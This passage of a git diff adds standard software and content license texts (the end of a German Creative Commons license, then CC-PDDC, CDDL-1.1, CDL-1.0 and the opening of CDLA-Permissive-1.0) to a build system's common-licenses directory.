+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angeboteten Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-PDDC b/meta/files/common-licenses/CC-PDDC
new file mode 100644
index 0000000000..b64dfd6b70
--- /dev/null
+++ b/meta/files/common-licenses/CC-PDDC
@@ -0,0 +1,8 @@
+
+The person or persons who have associated work with this document (the "Dedicator" or "Certifier") hereby either (a) certifies that, to the best of his knowledge, the work of authorship identified is in the public domain of the country from which the work is published, or (b) hereby dedicates whatever copyright the dedicators holds in the work of authorship identified below (the "Work") to the public domain. A certifier, moreover, dedicates any copyright interest he may have in the associated work, and for these purposes, is described as a "dedicator" below.
+
+A certifier has taken reasonable steps to verify the copyright status of this work. Certifier recognizes that his good faith efforts may not shield him from liability if in fact the work certified is not in the public domain.
+
+Dedicator makes this dedication for the benefit of the public at large and to the detriment of the Dedicator's heirs and successors. Dedicator intends this dedication to be an overt act of relinquishment in perpetuity of all present and future rights under copyright law, whether vested or contingent, in the Work. Dedicator understands that such relinquishment of all rights includes the relinquishment of all rights to enforce (by lawsuit or otherwise) those copyrights in the Work.
+
+Dedicator recognizes that, once placed in the public domain, the Work may be freely reproduced, distributed, transmitted, used, modified, built upon, or otherwise exploited by anyone for any purpose, commercial or non-commercial, and in any way, including by methods that have not yet been invented or conceived.
diff --git a/meta/files/common-licenses/CDDL-1.1 b/meta/files/common-licenses/CDDL-1.1
new file mode 100644
index 0000000000..f5479ec406
--- /dev/null
+++ b/meta/files/common-licenses/CDDL-1.1
@@ -0,0 +1,123 @@
+COMMON DEVELOPMENT AND DISTRIBUTION LICENSE (CDDL)
+Version 1.1
+
+1. Definitions.
+
+1.1. “Contributor” means each individual or entity that creates or contributes to the creation of Modifications.
+
+1.2. “Contributor Version” means the combination of the Original Software, prior Modifications used by a Contributor (if any), and the Modifications made by that particular Contributor.
+
+1.3. “Covered Software” means (a) the Original Software, or (b) Modifications, or (c) the combination of files containing Original Software with files containing Modifications, in each case including portions thereof.
+
+1.4. “Executable” means the Covered Software in any form other than Source Code.
+
+1.5. “Initial Developer” means the individual or entity that first makes Original Software available under this License.
+
+1.6. “Larger Work” means a work which combines Covered Software or portions thereof with code not governed by the terms of this License.
+
+1.7. “License” means this document.
+
+1.8. “Licensable” means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+1.9. “Modifications” means the Source Code and Executable form of any of the following:
+
+ A. Any file that results from an addition to, deletion from or modification of the contents of a file containing Original Software or previous Modifications;
+
+ B. Any new file that contains any part of the Original Software or previous Modification; or
+
+ C. Any new file that is contributed or otherwise made available under the terms of this License.
+
+1.10. “Original Software” means the Source Code and Executable form of computer software code that is originally released under this License.
+
+1.11. “Patent Claims” means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+1.12. “Source Code” means (a) the common form of computer software code in which modifications are made and (b) associated documentation included in or with such code.
+
+1.13. “You” (or “Your”) means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License. For legal entities, “You” includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, “control” means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. License Grants.
+
+2.1. The Initial Developer Grant.
+Conditioned upon Your compliance with Section 3.1 below and subject to third party intellectual property claims, the Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer, to use, reproduce, modify, display, perform, sublicense and distribute the Original Software (or portions thereof), with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patent Claims infringed by the making, using or selling of Original Software, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Software (or portions thereof).
+
+ (c) The licenses granted in Sections 2.1(a) and (b) are effective on the date Initial Developer first distributes or otherwise makes the Original Software available to a third party under the terms of this License.
+
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: (1) for code that You delete from the Original Software, or (2) for infringements caused by: (i) the modification of the Original Software, or (ii) the combination of the Original Software with other software or devices.
+
+2.2. Contributor Grant.
+Conditioned upon Your compliance with Section 3.1 below and subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license:
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof), either on an unmodified basis, with other Modifications, as Covered Software and/or as part of a Larger Work; and
+
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: (1) Modifications made by that Contributor (or portions thereof); and (2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+
+ (c) The licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first distributes or otherwise makes the Modifications available to a third party.
+
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: (1) for any code that Contributor has deleted from the Contributor Version; (2) for infringements caused by: (i) third party modifications of Contributor Version, or (ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or (3) under Patent Claims infringed by Covered Software in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+3.1. Availability of Source Code.
+Any Covered Software that You distribute or otherwise make available in Executable form must also be made available in Source Code form and that Source Code form must be distributed only under the terms of this License. You must include a copy of this License with every copy of the Source Code form of the Covered Software You distribute or otherwise make available. You must inform recipients of any such Covered Software in Executable form as to how they can obtain such Covered Software in Source Code form in a reasonable manner on or through a medium customarily used for software exchange.
+
+3.2. Modifications.
+The Modifications that You create or to which You contribute are governed by the terms of this License. You represent that You believe Your Modifications are Your original creation(s) and/or You have sufficient rights to grant the rights conveyed by this License.
+
+3.3. Required Notices.
+You must include a notice in each of Your Modifications that identifies You as the Contributor of the Modification. You may not remove or alter any copyright, patent or trademark notices contained within the Covered Software, or any notices of licensing or any descriptive text giving attribution to any Contributor or the Initial Developer.
+
+3.4. Application of Additional Terms.
+You may not offer or impose any terms on any Covered Software in Source Code form that alters or restricts the applicable version of this License or the recipients' rights hereunder. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Software. However, you may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear that any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+3.5. Distribution of Executable Versions.
+You may distribute the Executable form of the Covered Software under the terms of this License or under the terms of a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable form does not attempt to limit or alter the recipient's rights in the Source Code form from the rights set forth in this License. If You distribute the Covered Software in Executable form under a different license, You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+3.6. Larger Works.
+You may create a Larger Work by combining Covered Software with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Software.
+
+4. Versions of the License.
+
+4.1. New Versions.
+Oracle is the initial license steward and may publish revised and/or new versions of this License from time to time. Each version will be given a distinguishing version number. Except as provided in Section 4.3, no one other than the license steward has the right to modify this License.
+
+4.2. Effect of New Versions.
+You may always continue to use, distribute or otherwise make the Covered Software available under the terms of the version of the License under which You originally received the Covered Software. If the Initial Developer includes a notice in the Original Software prohibiting it from being distributed or otherwise made available under any subsequent version of the License, You must distribute and make the Covered Software available under the terms of the version of the License under which You originally received the Covered Software. Otherwise, You may also choose to use, distribute or otherwise make the Covered Software available under the terms of any subsequent version of the License published by the license steward.
+
+4.3. Modified Versions.
+When You are an Initial Developer and You want to create a new license for Your Original Software, You may create and use a modified version of this License if You: (a) rename the license and remove any references to the name of the license steward (except to note that the license differs from this License); and (b) otherwise make it clear that the license contains terms which differ from this License.
+
+5. DISCLAIMER OF WARRANTY.
+COVERED SOFTWARE IS PROVIDED UNDER THIS LICENSE ON AN “AS IS” BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED SOFTWARE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED SOFTWARE IS WITH YOU. SHOULD ANY COVERED SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+6. TERMINATION.
+
+6.1. This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+6.2. If You assert a patent infringement claim (excluding declaratory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You assert such claim is referred to as “Participant”) alleging that the Participant Software (meaning the Contributor Version where the Participant is a Contributor or the Original Software where the Participant is the Initial Developer) directly or indirectly infringes any patent, then any and all rights granted directly or indirectly to You by such Participant, the Initial Developer (if the Initial Developer is not the Participant) and all Contributors under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively and automatically at the expiration of such 60 day notice period, unless if within such 60 day period You withdraw Your claim with respect to the Participant Software against such Participant either unilaterally or pursuant to a written agreement with Participant.
+
+6.3. If You assert a patent infringement claim against Participant alleging that the Participant Software directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+6.4. In the event of termination under Sections 6.1 or 6.2 above, all end user licenses that have been validly granted by You or any distributor hereunder prior to termination (excluding licenses granted to You by any distributor) shall survive termination.
+
+7. LIMITATION OF LIABILITY.
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED SOFTWARE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+8. U.S. GOVERNMENT END USERS.
+
+The Covered Software is a “commercial item,” as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of “commercial computer software” (as that term is defined at 48 C.F.R. § 252.227-7014(a)(1)) and “commercial computer software documentation” as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Software with only those rights set forth herein. This U.S. Government Rights clause is in lieu of, and supersedes, any other FAR, DFAR, or other clause or provision that addresses Government rights in computer software under this License.
+
+9. MISCELLANEOUS.
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by the law of the jurisdiction specified in a notice contained within the Original Software (except to the extent applicable law, if any, provides otherwise), excluding such jurisdiction's conflict-of-law provisions. Any litigation relating to this License shall be subject to the jurisdiction of the courts located in the jurisdiction and venue specified in a notice contained within the Original Software, with the losing party responsible for costs, including, without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License. You agree that You alone are responsible for compliance with the United States export administration regulations (and the export control laws and regulation of any other countries) when You use, distribute or otherwise make available any Covered Software.
+
+10. RESPONSIBILITY FOR CLAIMS.
+
+As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+NOTICE PURSUANT TO SECTION 9 OF THE COMMON DEVELOPMENT AND DISTRIBUTION LICENSE (CDDL)
+The code released under the CDDL shall be governed by the laws of the State of California (excluding conflict-of-law provisions). Any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California and the state courts of the State of California, with venue lying in Santa Clara County, California.
diff --git a/meta/files/common-licenses/CDL-1.0 b/meta/files/common-licenses/CDL-1.0
new file mode 100644
index 0000000000..e2990cde2d
--- /dev/null
+++ b/meta/files/common-licenses/CDL-1.0
@@ -0,0 +1,53 @@
+Common Documentation License
+
+Version 1.0 - February 16, 2001
+
+Copyright © 2001 Apple Computer, Inc.
+
+Permission is granted to copy and distribute verbatim copies of this License, but changing or adding to it in any way is not permitted.
+
+Please read this License carefully before downloading or using this material. By downloading or using this material, you are agreeing to be bound by the terms of this License. If you do not or cannot agree to the terms of this License, please do not download or use this material.
+
+0. Preamble. The Common Documentation License (CDL) provides a very simple and consistent license that allows relatively unrestricted use and redistribution of documents while still maintaining the author's credit and intent. To preserve simplicity, the License does not specify in detail how (e.g. font size) or where (e.g. title page, etc.) the author should be credited. To preserve consistency, changes to the CDL are not allowed and all derivatives of CDL documents are required to remain under the CDL. Together, these constraints enable third parties to easily and safely reuse CDL documents, making the CDL ideal for authors who desire a wide distribution of their work. However, this means the CDL does not allow authors to restrict precisely how their work is used or represented, making it inappropriate for those desiring more finely-grained control.
+
+1. General; Definitions. This License applies to any documentation, manual or other work that contains a notice placed by the Copyright Holder stating that it is subject to the terms of this Common Documentation License version 1.0 (or subsequent version thereof) ("License"). As used in this License:
+
+1.1 "Copyright Holder" means the original author(s) of the Document or other owner(s) of the copyright in the Document.
+
+1.2 "Document(s)" means any documentation, manual or other work that has been identified as being subject to the terms of this License.
+
+1.3 "Derivative Work" means a work which is based upon a pre-existing Document, such as a revision, modification, translation, abridgment, condensation, expansion, or any other form in which such pre-existing Document may be recast, transformed, or adapted.
+
+1.4 "You" or "Your" means an individual or a legal entity exercising rights under this License.
+
+2. Basic License. Subject to all the terms and conditions of this License, You may use, copy, modify, publicly display, distribute and publish the Document and your Derivative Works thereof, in any medium physical or electronic, commercially or non-commercially; provided that: (a) all copyright notices in the Document are preserved; (b) a copy of this License, or an incorporation of it by reference in proper form as indicated in Exhibit A below, is included in a conspicuous location in all copies such that it would be reasonably viewed by the recipient of the Document; and (c) You add no other terms or conditions to those of this License.
+
+3. Derivative Works. All Derivative Works are subject to the terms of this License. You may copy and distribute a Derivative Work of the Document under the conditions of Section 2 above, provided that You release the Derivative Work under the exact, verbatim terms of this License (i.e., the Derivative Work is licensed as a "Document" under the terms of this License). In addition, Derivative Works of Documents must meet the following requirements:
+
+ (a) All copyright and license notices in the original Document must be preserved.
+
+ (b) An appropriate copyright notice for your Derivative Work must be added adjacent to the other copyright notices.
+
+ (c) A statement briefly summarizing how your Derivative Work is different from the original Document must be included in the same place as your copyright notice.
+
+ (d) If it is not reasonably evident to a recipient of your Derivative Work that the Derivative Work is subject to the terms of this License, a statement indicating such fact must be included in the same place as your copyright notice.
+
+4. Compilation with Independent Works. You may compile or combine a Document or its Derivative Works with other separate and independent documents or works to create a compilation work ("Compilation"). If included in a Compilation, the Document or Derivative Work thereof must still be provided under the terms of this License, and the Compilation shall contain (a) a notice specifying the inclusion of the Document and/or Derivative Work and the fact that it is subject to the terms of this License, and (b) either a copy of the License or an incorporation by reference in proper form (as indicated in Exhibit A). Mere aggregation of a Document or Derivative Work with other documents or works on the same storage or distribution medium (e.g. a CD-ROM) will not cause this License to apply to those other works.
+
+5. NO WARRANTY. THE DOCUMENT IS PROVIDED 'AS IS' BASIS, WITHOUT WARRANTY OF ANY KIND, AND THE COPYRIGHT HOLDER EXPRESSLY DISCLAIMS ALL WARRANTIES AND/OR CONDITIONS WITH RESPECT TO THE DOCUMENT, EITHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND OF NONINFRINGEMENT OF THIRD PARTY RIGHTS.
+
+6. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY INCIDENTAL, SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING TO THIS LICENSE OR YOUR USE, REPRODUCTION, MODIFICATION, DISTRIBUTION AND/OR PUBLICATION OF THE DOCUMENT, OR ANY PORTION THEREOF, WHETHER UNDER A THEORY OF CONTRACT, WARRANTY, TORT (INCLUDING NEGLIGENCE), STRICT LIABILITY OR OTHERWISE, EVEN IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES AND NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY REMEDY.
+
+7. Trademarks. This License does not grant any rights to use any names, trademarks, service marks or logos of the Copyright Holder (collectively "Marks") and no such Marks may be used to endorse or promote works or products derived from the Document without the prior written permission of the Copyright Holder.
+
+8. Versions of the License. Apple Computer, Inc. ("Apple") may publish revised and/or new versions of this License from time to time. Each version will be given a distinguishing version number. Once a Document has been published under a particular version of this License, You may continue to use it under the terms of that version. You may also choose to use such Document under the terms of any subsequent version of this License published by Apple. No one other than Apple has the right to modify the terms applicable to Documents created under this License.
+
+9. Termination. This License and the rights granted hereunder will terminate automatically if You fail to comply with any of its terms. Upon termination, You must immediately stop any further reproduction, modification, public display, distr ibution and publication of the Document and Derivative Works. However, all sublicenses to the Document and Derivative Works which have been properly granted prior to termination shall survive any termination of this License. Provisions which, by their nat ure, must remain in effect beyond the termination of this License shall survive, including but not limited to Sections 5, 6, 7, 9 and 10.
+
+10. Waiver; Severability; Governing Law. Failure by the Copyright Holder to enforce any provision of this License will not be deemed a waiver of future enforcement of that or any other provision. If for any reason a court of competent jurisdiction finds any provision of this License, or portion thereof, to be unenforceable, that provision of the License will be enforced to the maximum extent permissible so as to effect the economic benefits and intent of the parties, and the remainder of this License will continue in full force and effect. This License shall be governed by the laws of the United States and the State of California, except that body of California law concerning conflicts of law.
+
+EXHIBIT A
+
+The proper form for an incorporation of this License by reference is as follows:
+
+"Copyright (c) [year] by [Copyright Holder's name]. This material has been released under and is subject to the terms of the Common Documentation License, v.1.0, the terms of which are hereby incorporated by reference. Please obtain a copy of the License at http://www.opensource.apple.com/cdl/ and read it before using this material. Your use of this material signifies your agreement to the terms of the License."
diff --git a/meta/files/common-licenses/CDLA-Permissive-1.0 b/meta/files/common-licenses/CDLA-Permissive-1.0
new file mode 100644
index 0000000000..28249cf1f3
--- /dev/null
+++ b/meta/files/common-licenses/CDLA-Permissive-1.0
@@ -0,0 +1,85 @@
+Community Data License Agreement – Permissive – Version 1.0
+
+This is the Community Data License Agreement – Permissive, Version 1.0 (“Agreement”). Data is provided to You under this Agreement by each of the Data Providers. Your exercise of any of the rights and permissions granted below constitutes Your acceptance and agreement to be bound by the terms and conditions of this Agreement.
+
+The benefits that each Data Provider receives from making Data available and that You receive from Data or otherwise under these terms and conditions shall be deemed sufficient consideration for the formation of this Agreement. Accordingly, Data Provider(s) and You (the “Parties”) agree as follows:
+
+Section 1. Definitions
+
+1.1 “Add” means to supplement Data with Your own or someone else’s Data, resulting in Your “Additions.” Additions do not include Results.
+
+1.2 “Computational Use” means Your analysis (through the use of computational devices or otherwise) or other interpretation of Data. By way of example and not limitation, “Computational Use” includes the application of any computational analytical technique, the purpose of which is the analysis of any Data in digital form to generate information about Data such as patterns, trends, correlations, inferences, insights and attributes.
+
+1.3 “Data” means the information (including copyrightable information, such as images or text), collectively or individually, whether created or gathered by a Data Provider or an Entity acting on its behalf, to which rights are granted under this Agreement.
+
+1.4 “Data Provider” means any Entity (including any employee or contractor of such Entity authorized to Publish Data on behalf of such Entity) that Publishes Data under this Agreement prior to Your Receiving it.
+
+1.5 “Enhanced Data” means the subset of Data that You Publish and that is composed of (a) Your Additions and/or (b) Modifications to Data You have received under this Agreement.
+
+1.6 “Entity” means any natural person or organization that exists under the laws of the jurisdiction in which it is organized, together with all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, “control” means (a) the power, directly or indirectly, to cause the direction or management of such entity, whether by contract or otherwise, (b) the ownership of more than fifty percent (50%) of the outstanding shares or securities, (c) the beneficial ownership of such entity or, (d) the ability to appoint, whether by agreement or right, the majority of directors of an Entity.
+
+1.7 “Modify” means to delete, erase, correct or re-arrange Data, resulting in “Modifications.” Modifications do not include Results.
+
+1.8 “Publish” means to make all or a subset of Data (including Your Enhanced Data) available in any manner which enables its Use, including by providing a copy on physical media or remote access. For any form of Entity, that is to make the Data available to any individual who is not employed by that Entity or engaged as a contractor or agent to perform work on that Entity’s behalf. A “Publication” occurs each time You Publish Data.
+
+1.9 “Receive” or “Receives” means to have been given access to Data, locally or remotely.
+
+1.10 “Results” means the outcomes or outputs that You obtain from Your Computational Use of Data. Results shall not include more than a de minimis portion of the Data on which the Computational Use is based.
+
+1.11 “Sui Generis Database Rights” means rights, other than copyright, resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other equivalent rights anywhere in the world.
+
+1.12 “Use” means using Data (including accessing, copying, studying, reviewing, adapting, analyzing, evaluating, or making Computational Use of it), either by machines or humans, or a combination of both.
+
